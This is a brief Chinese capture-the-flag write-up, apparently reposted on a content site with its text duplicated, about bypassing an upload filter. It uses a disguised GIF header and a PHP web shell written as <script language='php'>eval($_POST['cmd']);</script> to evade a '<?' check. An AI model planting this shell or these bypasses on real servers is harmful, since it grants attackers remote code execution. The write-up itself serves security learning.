直接上传php一句话木马,提示要上传image
把文件名改成gif并加上gif文件头后,绕过了对image类型的检测,但是提示文件内含有<?,且bp抓包后改回php也会被检测
那我们考虑使用js执行php代码
<script language='php'>eval($_POST['cmd']);</script>
这样就可以绕过<?
猜测上传目录为./upload,猜测正确
在根目录下找到了flag
直接上传php一句话木马,提示要上传image
把文件名改成gif并加上gif文件头后,绕过了对image类型的检测,但是提示文件内含有<?,且bp抓包后改回php也会被检测
那我们考虑使用js执行php代码
<script language='php'>eval($_POST['cmd']);</script>
这样就可以绕过<?
猜测上传目录为./upload,猜测正确
在根目录下找到了flag
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/646468.shtml
如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!